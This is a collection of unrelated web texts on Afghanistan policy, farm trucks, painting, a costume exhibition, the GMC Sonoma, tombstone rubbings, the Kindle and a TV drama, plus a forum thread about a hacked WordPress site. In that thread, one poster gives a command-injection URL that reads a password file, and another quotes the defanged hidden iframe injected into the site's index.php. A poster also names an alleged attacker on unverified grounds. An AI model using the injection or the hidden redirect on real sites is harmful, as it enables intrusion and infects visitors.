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Should the United States leave any troops in Afghanistan after 2014? Would that prevent the return of militant jihadis who could threaten nuclear-armed Pakistan next door?
With most or all U.S. forces set to leave Afghanistan by 2014, President Obama is considering a "zero option," which would mean relying on drone strikes and special forces to counter militants, while leaving overall security to shaky Afghan forces.
Is this the best approach, I asked Gen. Stanley A. McChrystal, who, as U.S. commander in Afghanistan, presided over the U.S. troop "surge," but also led the Joint Special Operations Command in its fight against al-Qaeda in Iraq (AQI). His account of his Iraq and Afghan roles, My Share of the Task: A Memoir, has just been published. (He will speak at noon at Philadelphia's Free Library.)
"It's dangerous to view drone strikes as a strategy in itself," the general said firmly in a phone interview. "I fear it is a tempting approach that may be overweighted."
So what does he think the United States should do?
First some background. McChrystal's memoir gives a gripping account of the complex counterterrorism mission that killed AQI leader Abu Musab al-Zarqawi. Yet, when he took command in Afghanistan, the general concluded that a counterterrorism strategy alone would not prevent the country's collapse; nor would it prevent militants from taking control of territory and terrorizing the people.
So McChrystal adopted a classic "counterinsurgency" approach (known as COIN), the concept promoted by Gen. David Petraeus in Iraq. McChrystal requested a surge of U.S. troops "as a bridge" to protect Afghans in key areas, in hopes of buying time for the training of Afghan forces and the strengthening of the Afghan government. "I thought it would work," the general said. "The real question was Afghans' confidence. It was all about their perceptions of impending abandonment."
In other words, if rural Afghans thought U.S. forces would have their back, they would have the courage to stand up to the Taliban - even as their own government developed the strength to protect them. McChrystal also believed it was critical to treat Afghans with respect, and to limit civilian casualties.
The book details the tensions that arose between McChrystal and the White House over how many "surge" troops should be dispatched (he wanted 40,000 and got 30,000), and over Obama's announcement that he would begin withdrawing surge forces in July 2011.
"I cited concerns that [the announcement] would give the Taliban a sense that if they survived until that date, they could prevail," the general writes. But he concluded that a surge of 30,000 was "something we could work with."
Fast-forward. After the recent departure of the last surge troops, we can see that they stabilized certain areas of Afghanistan, but national and local Afghan government never kept their part of the bargain. Burdened by corruption, bereft of government services, Afghans once again fear pending abandonment by international forces. They have no certainty that their own security forces can protect them. And the Taliban is once again making serious inroads.
Meantime, McChrystal was fired by Obama in 2010 over a Rolling Stone article that quoted him and his staff as making critical remarks about White House officials.
COIN theory is now in disfavor. In an age of austerity, Obama has adopted a far more limited counterterrorism strategy, while promising to maintain a "strategic partnership" with Kabul.
Yet McChrystal still believes more is needed. "I still think the issue of [Afghan] confidence is crucial," he told me. "When President Obama talks about partnership . . . the Afghan people have to believe there is some sinew to that - that we are a reliable ally."
If Afghans think Washington is committed to the partnership, McChrystal believes their army, now better trained, can hold together - with U.S. assistance in training, air support and logistics, and intelligence. Educated Afghans would be less likely to flee. The Taliban might be persuaded to make a political deal - with Pakistan more willing to facilitate such a deal.
On the other hand, if Obama goes for a "zero option" or a tiny, symbolic number of troops (rather than the 9,000-15,000 the military reportedly seeks), "it would be very difficult to convince Afghans there was a strategic partnership." U.S. diplomats would be hunkered down in Kabul. Afghan and Pakistani officials might become even more hostile to drone strikes.
"I became convinced [in Afghanistan] that counterterrorism is only effective if meshed with a wider strategy," McChrystal said. As for the use of drones, "It is a very limited approach that gives the illusion you are making progress because you are doing something."
When deciding if any troops should stay on in Afghanistan in 2014, White House officials would be wise to consider these concerns.


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Buying a used semi
I enjoyed your article on buying used tractor-trailer rigs very much ["Great deals on used rigs," May/June 2002, page 12], but I felt you should have given a little more attention to drive train specifications, especially in the area of transmissions. While a 9- or 10-speed transmission is generally adequate, it is important to get the right 9 or 10 speed. Some of these transmissions don't have a good low gear ratio, which is very important starting heavy loads in field conditions or pulling on to axle scales commonly used in farm operation. A good rule of thumb is to multiply the "low" gear ratio of the transmission by the gear ratio of the rear axle. An overall ratio of 45 should be considered a minimum and high is better. A good example would be a "B" ratio 9 speed or a "C" ratio 10 speed, which have a low ratio of about 12.6 and a 3.91 rear axle, which gives you an overall ratio of 49.3. Transmissions that don't have ratios this low require lower (higher number) ratio rear axles, which reduce road speed when longer distance hauling is a consideration.
Another important consideration is the engine. Generally big block engines (3406 Cat, 12.7 Detroit, N-14 Cummins) have almost twice the life of a smaller block engine (3176 Cat, L10 or M11 Cummins). A big block engine with 600,000 miles may be a better buy than a smaller block engine with 500,000 miles (about ready for an overhaul). Having the right truck for the job is very important. It can be the difference between success and failure.
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Farm accounting software
Some time ago you had a very good article about computer farm accounting programs ["Software to count on," March 2002, page 50]. I am looking for a farm accounting program to use on a Macintosh computer and have not been able to find one. Can you help me? I have an old accounting program that I still use on an old Apple IIe computer, but would prefer to get something more up to date.
Keith Henderson
Malvern, IA
We do not know of any farm accounting program for a Macintosh. However, you may be able to run a Windows-based accounting program through a program called Virtual PC, from Connectix (www.connectix.com). This program makes a Mac think it is a Windows machine. The latest version of Virtual PC requires a Macintosh with a G3 or G4 processor to run under OS9 and a minimum 400 MHz G3 or G4 machine to run under OS X.
Some farm accounting software companies offer a free 30-day trial of their programs. Trying a program for 30 days will allow you to find out if it works on your Macintosh under Virtual PC. You also may want to ask farm accounting software companies if they have experience running their software under Virtual PC.
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Palmyra, IA
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39 comments:
- AscenderRisesAbove said...
i like this very much; so much emotion...
- Friday, April 07, 2006 8:47:00 PM
- ValGalArt said...
WOW! this is amazing! Every week you amaze!!! love it!
- Friday, April 07, 2006 9:56:00 PM
- Sarah e.Smith said...
Wonderful piece! Very emotional! I just discovered your blog and really like your work! I will be back again! :)
- Saturday, April 08, 2006 2:06:00 AM
- Knitting Painter Woman said...
I think this is what people at the Texas Motor Speedway are going to look like this weekend. I am NOT looking forward to traffic jams.... Did you really do this FAST?
- Saturday, April 08, 2006 3:29:00 AM
- isay said...
just as fast as it happened her heart beats so fast and tears fall down at the same time.
lovely painting!
- Saturday, April 08, 2006 5:58:00 AM
Great painting and so powerful.
- Saturday, April 08, 2006 11:18:00 AM
- AndyDoodler said...
Wow-beautiful! and yes pretty depressing subject- but felt good to paint it I bet.
- Saturday, April 08, 2006 11:21:00 AM
- The Tart said...
SO BEAUTIFUL! And fast fast fast!
Those colors are so alive, sad ; (
The Tart
- Saturday, April 08, 2006 2:59:00 PM
- Jeanette Jobson said...
Fabulous work! The colours give impact.
- Saturday, April 08, 2006 3:26:00 PM
- Lou said...
I'm wondering... Is she sad because her cowboy is leaving? Did she loose someone close to her by the cowboy in the background? The background is very representative of a western. It has a lot of emotion streaming from it. I love your work. Great job!
- Saturday, April 08, 2006 5:02:00 PM
- Rowantree said...
Powerful colors in your amazing illo !
- Saturday, April 08, 2006 8:01:00 PM
- atomicvelvetsigh said...
very thought provoking! and a wonderful illo!
i see this as a scared woman being chased by men (probably police or detectives) then she realized she was in a dead end. hmm..
how close am i?
- Sunday, April 09, 2006 12:35:00 AM
- The Unknown said...
Great image. Kind of scary. Seems menacing. I love it.
- Sunday, April 09, 2006 2:54:00 AM
- Kaladda said...
Very sad, but strong image..make's you wanna know more. Nice Job!
- Sunday, April 09, 2006 3:35:00 AM
- Katili said...
What a great image, she looks so sad. Nice effects and colours. Effective!
- Sunday, April 09, 2006 5:03:00 AM
- Toni said...
can't stop staring at the eyes. very powerful!
- Sunday, April 09, 2006 7:58:00 AM
- frank h said...
this an amazing work - really good
- Sunday, April 09, 2006 10:15:00 AM
- Twisselman said...
I've said this before... your illustrations tell such interesting stories. Just read through the comments preceding mine, and you'll find people filling in their own versions of where this woman is, and what she's just gone through. Powerful art does that.
- Sunday, April 09, 2006 11:10:00 AM
- the heartful blogger said...
Wow, her eyes give me chills. What an impact.
- Sunday, April 09, 2006 2:34:00 PM
- Joy Eliz said...
great illo! it reminds me of a melting wax figure...errie
- Sunday, April 09, 2006 2:39:00 PM
- disappointed said...
fab - dripping bits galore - tears dropping earings - and i can't quite believe that this work was speedy - it is very good - i find more and more as i look at it - thank you
- Sunday, April 09, 2006 4:49:00 PM
- Tony Sarrecchia said...
Wow...beautiful and bittersweet. Great piece!
- Sunday, April 09, 2006 5:06:00 PM
- Loca said...
Love your art.
- Sunday, April 09, 2006 5:52:00 PM
- Rectite23 said...
this piece is very intense! great work!
- Sunday, April 09, 2006 6:15:00 PM
- TXArtcGal said...
WOW! VERY telling image!!! Fantastic!
- Sunday, April 09, 2006 8:25:00 PM
- Chad Baldwin said...
This is great! I love the intence brush strokes. There is so much going on here.
- Sunday, April 09, 2006 8:35:00 PM
- Ian Sands said...
with 26 comments so far, I might get lost here :P
I love your bold use of line and color.
- Sunday, April 09, 2006 9:31:00 PM
- doodlestreet said...
She reminds me a bit of Joni M! Very cool stuff here...I like! I like! Thanks for your kind words on my site.
- Sunday, April 09, 2006 9:51:00 PM
- ThomP said...
That is really really amazing!!!
- Monday, April 10, 2006 2:10:00 AM
- Muffingal said...
Wow! Intense! I really like the colors!
- Monday, April 10, 2006 9:54:00 AM
- Gabe said...
The red wranglers are here, and with their pixie fluff orbs. Too much to handle. But is it all just a weaving of yesterdays hair? Ahhh, the key is in listening.
Surely this is what you are saying with this piece.
- Monday, April 10, 2006 11:30:00 AM
- carla said...
This is moving and surreal. I always get the feeling that your paintings have some story we'll never be able to figure out - mystery narratives! Has she witnessed the killing of her lover? An enemy? Does she cry from sorrow, shock, fear? Hard to say...but I love the face in the foreground and the shooting figures in the background. Excellent composition and compelling image!
- Monday, April 10, 2006 11:57:00 AM
- Alina Chau said...
Love your new painting postings. This is very expressive!!
- Monday, April 10, 2006 1:06:00 PM
- Tony LaRocca said...
Ah, the poor wax sculpture, finaly tracked down by the evil men with heat lamps! Awesome pic.
- Monday, April 10, 2006 5:06:00 PM
- Princess Pepper Cloud said...
Reminds me a little of Debra Harry. She looks like she may be terrified but angry at the same time... there is such softness to the lines but the stare in her eyes and the way her face is set is very sharp. Many contrasts. Very fine work indeed!
- Monday, April 10, 2006 5:16:00 PM
- irvine said...
ohh how sad.. wish i can wipe her tears away... sniiff...
but indeed.. a wonderful illustration!
- Monday, April 10, 2006 10:33:00 PM
- modroom said...
Great handling and composition. The speed of tears like that is serious stuff. Like the light and dark with earring and eyes, expression.. I could just continue a list.
- Tuesday, April 11, 2006 3:22:00 PM
- Roz Foster said...
Whoa. This is intense. She looks almost as if she's melting in a way, as if her tears are dissolving her. Wicked stuff!
- Tuesday, April 11, 2006 5:47:00 PM
- Amy Zaleski said...
Whew..agree with Roz completely. Nice waxy effect here! Very, very cool!
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CW's "Language of Clothing" e xhibition wins Richard Martin Award for Excellence
The Costume Society of America (CSA) has recognized Colonial Williamsburg's "The Language of Clothing" exhibition with the Richard Martin Award for Excellence in the Exhibition of Costume. This prestigious award is given annually for outstanding achievement in costume exhibition. Normally, the society recognizes up to two institutions, but this year, CSA representatives agreed that "The Language of Clothing" was in a class by itself and, therefore, was the only display to be so honored. "The Language of Clothing," featuring more than 300 pieces of antique clothing, accessories and dolls, recently completed a successful two-year run at the DeWitt Wallace Decorative Arts Museum.
"It is a great honor to be recognized by the national organization for clothing studies," said Linda Baumgarten, Colonial Williamsburg's curator of textiles and curator of the exhibition. "This beautiful exhibit and the exciting programming that accompanied it were the result of the combined talents of many staff members at Colonial Williamsburg."
Earlier this year, Baumgarten received the Millia Davenport Publication Award for excellence in costume scholarship. Her book, "What Clothes Reveal, The Language of Clothing in Colonial and Federal America," accompanied the "Language of Clothing" exhibition and was published jointly by Colonial Williamsburg and Yale University Press.
"This exhibition was a collaborative effort involving many dedicated people from several areas of Colonial Williamsburg," said Carolyn Weekley, Juli Grainger director of museums for Colonial Williamsburg. "The exhibition took months of planning and preparation, and required the combined cooperative efforts of the museum design team, maintenance personnel, curators and conservators, museum educators and the Historic Area fashion trades staff. Once it opened, volunteers, curators, conservators, historic trades staff and museum educators provided guests with program options that offered a variety of perspectives. All of these efforts led to a stunning visual display of costumes as well as rich and informative text that garnered this much-deserved award."
The Colonial Williamsburg Foundation's award winning DeWitt Wallace Decorative Arts Museum, supported by the DeWitt Wallace Fund for Colonial Williamsburg, displays the foundation's exceptional collection of English and American decorative arts. Entered through the reconstructed Public Hospital of 1773, the museum is on Francis Street near Merchants Square and is open daily from 11 a.m. to 5 p.m. For program information call (757) 220-7724.
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General Motors maintains a reputation of offering well-made and reliable cars and trucks, and the GMC Sonoma series fits in perfectly. These compact trucks were originally introduced in the early 1980s under the name S-15.
The automotive industry was one of the most influential new industries that came about during the Industrial Revolution of the early 1900s. All over the world, enterprising and innovative people chose to join the industry and make their name. Among them was a young man named R.E. Olds: He took over his father's existing industrial and naval engine plant and converted it to meet the needs of an automotive manufacturing facility. The year was 1892, and Olds was laying the foundation for the famous General Motors Corporation. He and his team of engineers and designers spent a few years perfecting their first design, but once the ball got rolling, GMC never looked back.
Of course, there have been hard times along the way, but GMC has always managed to stay on top of the game. The various mergers and acquisitions of the company contribute to its stability. General Motors has become a parent company to some of the most well-known names in the industry, including Chevrolet, Hummer, and Saab.
To this day, GMC still manufactures a number of families of cars, trucks, vans, and SUVs under its original name and logo, including the ever-popular Sonoma.
GMC Sonoma trucks are the American answer to foreign small compact trucks offered in the U.S. For the American public, the Sonoma trucks mean affordability and dependability. This line of trucks gains popularity thanks to its smaller size. Many buyers find these trucks to offer many of the same abilities as the larger versions with better fuel economy and the ability to fit more easily into parking spaces.
While the second generation of the GMC Sonoma trucks shows a marked improvement over the first generation, many industry leaders feel the truck lacks sufficient updating to keep up with its competitors. The second generation offers plenty of power for the truck's size, but GMC didn't continue to update the model under the hood. The truck hasn't received many changes to the body style or interior cab, either. Many experts believe this hurt the Sonoma truck line in the 1990s. Other American and foreign manufacturers were able to outsell the Sonoma.
General Motors offered the Sonoma truck line for the last time in the 2004 model year. Much like the previous model years, the Sonoma contains sufficient engine and transmission options. Also like the previous years, GMC offers three trim levels for the Sonoma. The SL is the base model, while the SLS provides the mid-range option. For those looking for a fully equipped Sonoma, GMC offers the SLE trim level.
There are several engine options available for the 2004 Sonoma, including the 2.2-liter, four-cylinder engine; the 4.3-liter V-6; and the Vortec 4.3-liter V-6. Each of these engine options offers a choice of transmission systems as well. Buyers choose from the standard four-speed automatic transmission or the five-speed manual transmission. All of the Sonoma trucks for 2004 offer four-wheel drive as an option.
In addition to the different trim levels, the Sonoma comes in different body styles. The regular cab design features the typical bench seat, capable of seating three people. The extended cab provides more seating and space in the cabin. The crew cab features four doors with additional seating space. The extended and crew cab designs are available with short or long beds, as well.
General Motors executives decided to change the name from S-15 to the Sonoma in 1991. This change marks the only real difference in the trucks. The Sonoma line shares a similar design with the Chevy S-10. The biggest differences are found in the grille and tailgate designs. The S-15 and the Sonoma offer the regular, extended, and crew-cab body style options. The earlier versions of the Sonoma compact trucks also offer plenty of exterior paint choices and interior options, such as vinyl in the lower trim levels or cloth for the upgraded trim levels.
For the most part, the Sonoma trucks from past years are fairly popular for buyers looking for a used truck. Despite their rather outdated design, these trucks still maintain a reputation for their dependability and longevity. They provide ideal options for towing and hauling and do this almost as well as their larger counterparts, such as the 1500 and the 3500 Sierra series from General Motors. When well cared for, a used Sonoma truck offers a good option for those looking for light towing capabilities and basic design.
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2003 GMC Sonoma
The 2003 GMC Sonoma was an aging vehicle, and one that was going into its final year of production.
2002 GMC Sonoma
The 2002 GMC Sonoma has an impressive list of reasons for purchasing one of the pickups.
2001 GMC Sonoma
The 2001 GMC Sonoma is a work truck with solid performance and handling.
2000 GMC Sonoma
The 2000 GMC Sonoma is a sportier, more versatile pickup truck than much of the competition.
1999 GMC Sonoma
The 1999 GMC Sonoma is a compact pickup truck that was introduced by General Motors as the S-15 in 1982.
1998 GMC Sonoma
The 1998 GMC Sonoma takes a practical truck and adds style and sportiness.
1997 GMC Sonoma
The 1997 GMC Sonoma is a compact pickup truck based on the S-Series design.
1996 GMC Sonoma
The 1996 GMC Sonoma classifies as a compact pickup truck manufactured by General Motors.
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Remember when you were in kindergarten, and you put a leaf or penny under a piece of paper, then rubbed the crayon on top of the paper? An image of the leaf or penny magically appeared on the sheet. That's exactly the idea with a tombstone rubbing.
Before you try it, though, a word of caution: You must be able to distinguish between a stable and unstable grave marker before you attempt to make a rubbing or even to gently clean away debris. When in doubt, don't.
It's best to get permission before doing a rubbing. In some states, such as Massachusetts, it's illegal. As with historical documents, tombstones are artifacts that must be treated with respect and care.
Here's what you'll need to get a good impression from your tombstone finds:
- rubbing wax or jumbo crayons
- scissors
- masking tape or a partner to hold the material in place
- non-fusible, medium to heavy-weight interfacing (Pellon is one brand name)
Many people use large sheets of butcher paper to make rubbings. Kathleen Hinckley, a professional genealogist and author of Locating Lost Family Members & Friends (Betterway Books), told me she uses interfacing fabric, and this works much better than paper. If you're traveling, paper is harder to manage, and it tears and creases. Interfacing can be folded in your suitcase, it doesn't tear, and you can iron it when you get home.
Interfacing is inexpensive (about $1.25 a yard) and may be purchased at any fabric store (it's the stuff seamstresses use to make collars stiff). I use the medium- to heavy-weight type that is non-fusible. Buy interfacing in bulk, about 10 yards at a time, to keep in your cemetery tote bag.
If you take anyone with you to the cemetery, especially kids, they'll want to try making a rubbing, too, because it's so much fun. But please make sure they don't get any crayon or wax on the tombstone. Always supervise children in a cemetery.
When you get the rubbing home, put it face up with an old towel over it on the ironing board. With a hot iron, press down on the towel rather than using a back-and-forth motion. This will heat the rubbing beneath it and set the crayon or wax into the fabric. Always put a towel between the rubbing and your iron. Never put the rubbing face down on the ironing board cover and melt it with the iron that way. (My husband didn't appreciate having a winged death's head melted into the back of his dress shirt.)
Tombstone rubbings make great gifts for family members and can be displayed in your home. We hung Lizzie Borden's framed tombstone rubbing in our living room along with her portrait. It's quite a conversation piece.
Make a Rubbing in Six Steps
Pictures by Susan Rust
Step 1: Locate the grave. Pictured is the grave of Hettie Sarah Meyers (1893-1973), Simla Cemetery, Simla, Colo.
Step 2: Cut off a piece of interfacing a bit larger than the stone you want to rub. Either masking tape the interfacing to the back of the stone or have a companion hold the fabric tightly around the stone.
Step 3: Rub the side of the crayon (not the tip) or special rubbing wax over the fabric and watch the image appear.
Step 4: If the fabric shifts, the image will be distorted, so it's important to keep the material taut.
Step 5: You can use jumbo crayons with the paper peeled off.
Step 6: Your tombstone rubbing will be an exact replica of the stone. At home, iron (with a towel on top) to set the crayon or wax into the fabric. Your rubbing is now a family artifact and suitable for framing.


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Cyber Monday was the biggest day ever for sales of Amazon's Kindle electronic devices, the online retail giant said on Tuesday, without saying how many it actually sold.
On Monday, when retailers offered big deals online for "Cyber Monday," Amazon.com cut the price of the Kindle Fire tablet by $30 to $129 and it was the biggest Cyber Monday deal ever for Amazon.com, the company said.
Nine of the top 10 best-selling products on Amazon.com since it unveiled new Kindle devices on Sept. 6 have been Kindles, Kindle accessories and digital content, Amazon said.
The Kindle is available at stores such as Best Buy, RadioShack and Staples. However, Target and Wal-Mart stopped selling Amazon's Kindle devices earlier this year, opting to focus on products such as Apple's (AAPL) iPad. Shares of Amazon were down 8 cents at $243.71 in premarket Tuesday trading.


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Joined: 09 May 2005
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Location: Perth, Western Australia
Posted: Sat 12 Jan 2008, 18:38
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Serious security breach on Developer Blog
I went to my blog this morning and got redirected to another site. My PC became very busy, mouse response extremely slow. I managed to kill SeaMonkey.
I FTP'd to my site and found that two files, blog/index.php and blog/wp-blog-header.php have been modified. I have restored the originals.
The big question is, how could someone do that?
I have raised a ticket with servage and asked them that question.
Note, I've turned off comments on my blog, but there were no suspicious comments anyway.
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Posted: Sat 12 Jan 2008, 18:50
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Hi Barry sorry to hear of this problem. My first thought is "Any chance" that your machine has been compromised" Secondly was, perhaps it's time to see if there is need to tighten up Puppy security? (It may have been on the server from their side but it looks as though it was making a good stab at taking over your PC.)
Perhaps now things like the Asus eeePC are getting sold in volume and firfox is becoming more powerful that the forces of darkness will be taking an interest a deeper interest in opensource
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John Doe
Joined: 01 Aug 2005
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Location: Michigan, US
Posted: Sat 12 Jan 2008, 19:00
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I just PM'd this to Barry, before I noticed the thread here.
You're all welcome to read it.
Regarding the page change:
Wordpress 2.3 Cross Domain Content Insertion- New vulnerability + exploit - xssworm.com
Regarding the one comment that go through the other day I had signed up to post what follows this link. In the mean time I did some further research and found it was probably SQL injection.
Wordpress 2.3.1 Charset SQL Injection Vulnerability
Your security implementation is probably adequate. There are three methods which could be used to create such spam that came to mind when I read your post.
1-an exploit in the WordPress code to bypass the security layers. If you examine your http logs for the request that created the comment it might tell you if this was the method used. Also it would allow you to notify the WordPress creators so they could fix the problem. You could gather, at a minimum, the page that was used to implement the exploit. If a 'get' post was used, you might be able to further identify the query string which would help the coders diagnose the problem faster.
2-a server level database permission issue that allowed another user or site on the same server to insert an entry directly to your database. This would be impractical for spammers, as they would have to pay for accounts on lots of servers and hope a majority or the admins had a weak understanding of security.
3-an sql injection vulnerability in the registration form, the login form or the search form. the login form and search form queries shouldn't use a user that has insert permissions anyway, so maybe the registration form. this would depend on what permissions to which tables the user account that it queried as were given. if that user doesn't have permission to insert to the comment table in the database, it's not this.
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Location: Karlsruhe, Germany
Posted: Sat 12 Jan 2008, 21:10
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I had a comparable problem not long ago.
Using gftp I could see, that the problem came from a newsletter-module of I think PHPBB.
It seems that a weak point was taken to install a spam-mailer.
You could see it by analyzing how the folders around it got infected by new PHP-Scripts.
One concrete example:
if you have such code:
thecommand = $GET["whatnext"];
So you would call a website like this:
Then the string "ls" would be passed to index.php
It then is executed by "system".
Now the attack would be to pass your own string, like:
http://xyt.com/index.php?whatnext=ls;cd;cd ..;cd ..;cd etc;cat passwords
You might have to replace some chars with HTML-entities like %20 instead of spaces.
This is a very obvious vulnerability, there are more advanced as said by John Doe.
And software IS buggy.
We had the example of a commercial boardsystem, where you registered as new user with restrictions, and then until you did not log in to your account, had access to all boards, even those that are usually just allowed to be viewed by administrators.
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Puppy Master
Joined: 09 May 2005
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Location: Perth, Western Australia
Posted: Sat 12 Jan 2008, 22:28
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Looking around my site with gFTP, I quickly discovered that my entire site had been hacked.
This covers goosee.com as well as puppylinux.com, each in it's own subdirectory.
I contacted servage, they replied that I should change my password, and make sure that all directories are 755, and all files 644.
So, I went through, making sure all permissions are okay, uploading the original files when I found a hacked one. But, the thing is, static html pages in 755 directory with 644 permission were also hacked.
I did have a lot of html files with 755, and I did notice a preference by the hacker to hack those. But it doesn't explain how 644 files got hacked. I've sent a message to servage asking how that could happen.
Right now, I'm nervously watching my site to see if anything more happens to it.
There seem to be two different types of hack, one that occurred on Jan 10th, which has injected porno links into some pages. Then the one that I found, a massive hack of my site on Jan 12th, which has inserted redirection code. I'll put the site that I got redirected to, but don't go there!!! Maybe someone can work out what this site does or attempts to do. This is my hacked blog/index.php, but I have inserted some capitalisation to disable it:
/* Short and sweet */
define('WP_USE_THEMES', true);
?><iframe src="httpCOLON//orentraffDOTcn/tdsbear/indexDOTphp?out=1199657524" width="0" height="0" style="display:none"></iframe>
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Location: Great Lakes
Posted: Sat 12 Jan 2008, 23:08
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Not to sound like an idiot, but. This is old news.
You were hacked last year but never got the message.
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John Doe
Joined: 01 Aug 2005
Posts: 1689
Location: Michigan, US
Posted: Sun 13 Jan 2008, 00:29
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I got the name of who is responsible already.
Mahmod AbdAllah el Gashmi
He lives in Turkey. Just say the word Barry and I'll have him killed.
He's mentioned on this page:
I'll post how I figured that out in a bit. I have to go get my nightly brew.
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Joined: 04 Sep 2007
Posts: 1569
Location: Canada
Posted: Sun 13 Jan 2008, 01:11
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Well..it looks like puppylinux.ca is also down.
My IP address will not resolve to my domain.
My tech guys are working on this problem but may be until tomorrow before I get an answer.
Sorry all.
Be not afraid to grow slowly, only be afraid of standing still.
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John Doe
Joined: 01 Aug 2005
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Location: Michigan, US
Posted: Sun 13 Jan 2008, 01:33
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Ok, I used wget to request the url Barry posted without using the query string and got a simple file that looks like a login form (it's attached as index.php.txt).
Then I used wget to request the url with the query string and got the following pertinent information (the whole dialog is attached as wget-response.txt):
HTTP request sent, awaiting response... 302 Found
Location: httpCOLON//220.127.116.11/~usersonli/oren/indexDOTphp [following]
Connecting to 126.96.36.199:80... failed: Bad file descriptor.
Using the ip address I looked up the owner via whois.ripe.net. It's that guy I mentioned above (info in whois.ripe.net.txt).
The most interesting part was "Bad file descriptor", that's why your browser froze up. I'm assuming it's some sort of exploit for IE that installs his root kit, which is mentioned at the following post:
What a piece of trash.
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Location: Canada
Posted: Sun 13 Jan 2008, 01:54
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I'm not sure if this is related or not.
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John Doe
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Posts: 1689
Location: Michigan, US
Posted: Sun 13 Jan 2008, 02:10
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Caneri wrote:
I'm not sure if this is related or not.
it's all related somehow
cool read, thanks for the link (hopefully it wasn't one of them
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Joined: 09 May 2005
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Location: Perth, Western Australia
Posted: Sun 13 Jan 2008, 02:51
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Okay, if it's an exploit for IE, then likely not targetting Linux and wouldn't have compromised my PC...
Anyway, I think I know how my site was violated. Well, not really 'how', just the basic outline.
My site has had two violations, one dated Jan 10, the second on Jan 12. Well, you might have seen my recent blog post "The spam that got through" - that was Jan 10. Then, last night - Jan 12 - there was another one. That's two of them, corresponding with my site violations.
So, my confidence in WordPress has hit rock bottom. Even if I do upgrade, it seems to be a never ending battle. I've turned off comments - and 'flagman' posted a comment immediately after! Globally turning off comments only affects new posts! Yikes, I hunted through the prefs and there's nothing to globally turn off comments!!!
So, I used the "bad words" filter to block everything - how crude.
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Joined: 28 Sep 2005
Posts: 240
Posted: Sun 13 Jan 2008, 04:33
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As I've had an ongoing issue with servage & pkagfiles, one of their "fixes" was to move the account to another datacenter & change ALL permissions (directory & file) to 777! Not the brightest bunch it seems.
I've had problems with permissions in the past! 403 errors for no reason.
Also it seems they outsource their tech support to India. I will look further into it & probably relocate pkagfiles to another host.
pkagfiles is currently working, but am watching closely for issues that may arise & will adjust, take offline if needed.
Sorry for any inconveniences.
Ron AKA PkaG.
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Joined: 04 May 2005
Posts: 15241
Location: Paradox Realm
Posted: Sun 13 Jan 2008, 04:46
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I have a Wordpress blog (rarely post to it)
Had to turn off the comments due to corrective medication for penile dysfunction and porn spam
corrective medication for penile dysfunction = via***
I can not use the word via*** as Johns efforts to fight the mal merchants changes the word to "poisonous crap"
Look how hard John and Flash work to stop spam
(and it still gets through . . . )
It makes sense for spammers to code bots for popular services
and Wordpress is the top blogging tool.
We have the word "Puppy" come up with Puppy Linux in Google
Therefore owning that or hijacking it is a commercial decision.
An attack is inconvenient, annoying and also can make one paranoid
(as if it is a personal attack)
It is important to maintain ones psychological perspective
when this sort of situation occurs
(I am occasionally sane enough to recognise that)
So far the solution seems right:
1. Exposing and dealing with the situation
2. Notifying and working with the software and server providers
When the Puppy wiki was attacked with spam bots
rather than change to new software
Raffy hardened the existing software
and even though users have to register
many did and some regular users are making
many useful contributions
Related to spam is the use of gmail to filter
(not ideal but no solution is)
Just remember there is a protective cordon of expertise
around Puppy. How this situation is dealt with is indicative
of a growing maturity. Do we stay in place and fight our corner
or run to a new solution
(with attendant problems)?
Good luck.
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Posted: Sun 13 Jan 2008, 05:48
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Previously known as Guest wrote:
As I've had an ongoing issue with servage & pkagfiles, one of their "fixes" was to move the account to another datacenter & change ALL permissions (directory & file) to 777! Not the brightest bunch it seems.
I've had problems with permissions in the past! 403 errors for no reason.
Also it seems they outsource their tech support to India. I will look further into it & probably relocate pkagfiles to another host.
pkagfiles is currently working, but am watching closely for issues that may arise & will adjust, take offline if needed.
Sorry for any inconveniences.
Ron AKA PkaG.
Interestingly within a few minutes of this post an attack started from:
126.96.36.199 [host-84-221-65-76.cust-adsl.tiscali.it]
188.8.131.52 [a80-186-120-215.elisa-laajakaista.fi]
Maybe I'll start posting fscking IP's involved again! I could write a novel of IP addresses.
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Amanda Mealing expected strong fan reaction from the death of her character, Col. Eleanor Grant, in the season finale of "Strike Back."
Her two biggest fans had already seen it—and were "incensed," she said.
"My sons watched it the other day and they were saying, 'Mama, why didn't you wait for Scott to shoot?'" Mealing told me Thursday by phone from New York.
In the knock-out episode, the terrorist Latif (Jimi Mistry) not only escaped from Col. Grant's Section 20 military unit, but he took her captive in the process. And although part of his plot played out as he hoped, he didn't count on one thing—Grant's resolve to take him down no matter what the consequences.
She ended their standoff in bold fashion. Damian Scott (Sullivan Stapleton) had Latif in his sights, but Grant fired his pistol into a bomb she was carrying and killed them both.
"It had to be [that way]," Mealing said. "It was the right thing, We needed that conclusion and it had to be the person that you least expected.
"It was through Grant trying to do the right thing she had done the wrong thing [and unwittingly helped Latif], but in the end she takes him out and does the right thing."
Before the end came, Grant recorded a message to her soldiers telling them of her involvement in Project Dawn. It was an emotional scene for Mealing to film, and one that co-star Philip Winchester praised.
"She was incredible, wasn't she?" he said during the same call. "It was this beautiful goodbye by Amanda and by Grant, but it all hit on such a different level for all of us standing there because we knew we weren't going to see her again."
Mealing, Winchester and I joked that Grant didn't get out of the Section 20 headquarters often and when she finally did, she killed herself. Mealing said one of her best days on the job was during Episode 6, when Grant fired from a helicopter while landing to extract Stonebridge. "It really was so much fun; I was ecstatic," said Mealing, who is about halfway to getting her pilot certification.
Those types of adventurous jobs don't come along often for women, which is another reason Mealing's sad to be leaving "Strike Back."
"I love shooting and flying and fast cars," she said. "It was really perfect for me."
Below find more from my conversation with Mealing and Winchester, who also talked about the scene in which Stonebridge had to cut a bomb out of a terrorist's body.
And, by the way, the finale didn't really tell us if Stonebridge would return to Section 20, so I asked Winchester if he'd be back in "Strike Back."
"I hope so," he said, laughing.
Amanda, are you sad not to be coming back?
Amanda Mealing: I'm hugely, hugely sad not to be coming back because working together for six months and as intensely as we did. We're all thousands of miles away from home; [the group] becomes your family. It really does become your family, so to not be with the guys next year is heartbreaking…
I liked the fact that she wasn't the mole. She hasn't been a double agent. It is just through her desperation to do the right thing and recompense for Project Dawn that actually feeds Latif everything that he needs … My sons watched it the other day and they were saying, "Mama, why didn't you wait for Scott to shoot?"
Philip Winchester: [Laughs.] Because he would have.
AM: "Well you should have just waited. He was there."
You should have just ducked.
AM: [Laughs.] I know. I should have ducked. They were incensed, absolutely incensed.
